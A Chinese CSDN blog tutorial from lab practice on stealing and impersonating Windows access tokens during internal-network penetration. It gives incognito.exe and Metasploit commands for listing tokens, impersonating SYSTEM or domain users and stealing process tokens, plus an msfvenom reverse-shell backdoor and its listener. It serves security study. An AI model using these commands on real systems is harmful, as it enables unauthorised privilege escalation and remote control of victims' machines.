Windos 内网渗透之Token的使用

本文详细介绍了Windows系统中AccessToken的概念、类型及其在内网渗透中的重要性。通过incognito工具和MSF框架展示了如何窃取与利用AccessToken,包括模拟不同用户权限、进程令牌窃取及权限降级等操作,强调了此类技术在合法安全测试中的应用边界。
摘要由CSDN通过智能技术生成

内网渗透 Token

本次实验环境靶场来自于暗月(moonsec)师傅,文中内容全由个人理解编制,若有错处,大佬勿喷,个人学艺不精;本文中提到的任何技术都源自于靶场练习,仅供学习参考,请勿利用文章内的相关技术从事非法测试,如因产生的一切不良后果与文章作者无关。

前言

令牌(token) 是系统的临时秘钥,相当于账号和密码,用来决定是否允许这次请求和判断这次请求是属于哪一个用户的。它允许你在不提供密码或其他凭证的前提
下, 访问网络和系统资源,这些令牌将持续存在于系统中,除非系统重新启动。

令牌最大的特点就是随机性不可预测,黑客或软件无法猜测出令牌。

假冒令牌可以假冒一个网络中的另一个用户进行各类操作。

所以当一个攻击者需要域管理员的操作权限时候,需要通过假冒域管理员的令牌进行攻击。

令牌有很多种:

  • 访问令牌(Access Token):表示访问控制操作主体的系统对象
  • 会话令牌(Session Token):是交互会话中唯一的身份标识符
  • 密保令牌(Security Token):又叫做认证令牌或硬件令牌,是一种计算机身份校验的物理设备,例如 U 盾

Windows 的 的 AccessToken 有两种类型:

  • Delegation Token :授权令牌,它支持交互式会话登录 (例如本地用户直接登录、远程桌面登录访问)
  • Impresonation Token :模拟令牌,它是非交互的会话 (例如使用 net use访问共享文件夹)

Tips: 两种 token 只在系统重启后清除 具有 Delegation token 的用户在注销后,该 Token 将变成 Impersonation token ,依旧有效。

AccessToken 的窃取与利用

AccessToken 的窃取与利用需要 administrator 管理员权限,也就是说要提权。

窃取 AccessToken 的方法:

  • incognito.exe 程序

  • InvokeTokenManipulat.ps1 脚本

  • MSF 里的 incognito 模块

incognito

项目下载地址:https://labs.mwrinfosecurity.com/assets/BlogFiles/incognito2.zip

这里我们必须在使用管理员打开cmd要不然有的功能会不完整。

AccessToken 的列举(需要 administrator 权限)
incognito.exe list_tokens -u

操作:模拟其他用户的令牌(复制 token)

如果要使用 AccessToken 模拟其他用户,可以使用命令
incognito.exe execute -c "完整的 Token 名" cmd.exe

例如:模拟 system 权限用户(提权至 system):
incognito.exe execute -c "NT AUTHORITY\SYSTEM" cmd.exe

降权至当前用户:
incognito.exe execute -c "当前用户 token" cmd.exe

获取域普通用户
incognito.exe execute -c "moonsec\test" cmd.exe

MSF 下的 incognito

use incognito 								# 加载 incognito
list_tokens -u 								# 列出 AccessToken
getuid 										# 查看当前 token
impersonate_token "NT AUTHORITY\SYSTEM" 	# 模拟 system 用户,getsystem 命令即实现了该命令。如果要模拟其他用户,将 token 名改为其他用户即可
steal_token 1252 							# 从进程窃取 token
getsystem 									# 提升至 system 权限
rev2self	 								# 返回到之前的 AccessToken 权限

msfconsole 令牌实战

# msf 生成后门
msfvenom -p windows/x64/meterpreter/reverse_tcp LPORT=6666 LHOST=192.168.150.145 -f exe -o msf.exe

# 监听端口
msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.150.145
set lport 6666
exploit

#进入 incognito 模块
use incognito 
# 列出令牌
list_tokens -u 

这里列出了两种令牌:

  • Delegation Token:也就是授权令牌,它支持交互式登录(例如可以通过远程桌面登录访问)
  • Impresonation Token:模拟令牌,它是非交互的会话。
伪造令牌
impersonate_token "NT AUTHORITY\SYSTEM" 		# 假冒 System 的令牌
impersonate_token moonsec\\test 				# 假冒 moonsec\test的令牌

进程窃取令牌
# 列出进程
ps
# 窃取进程的令牌
steal_token 2508

这里我们窃取了一个 system 的权限。

返回之前的 token
rev2self

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值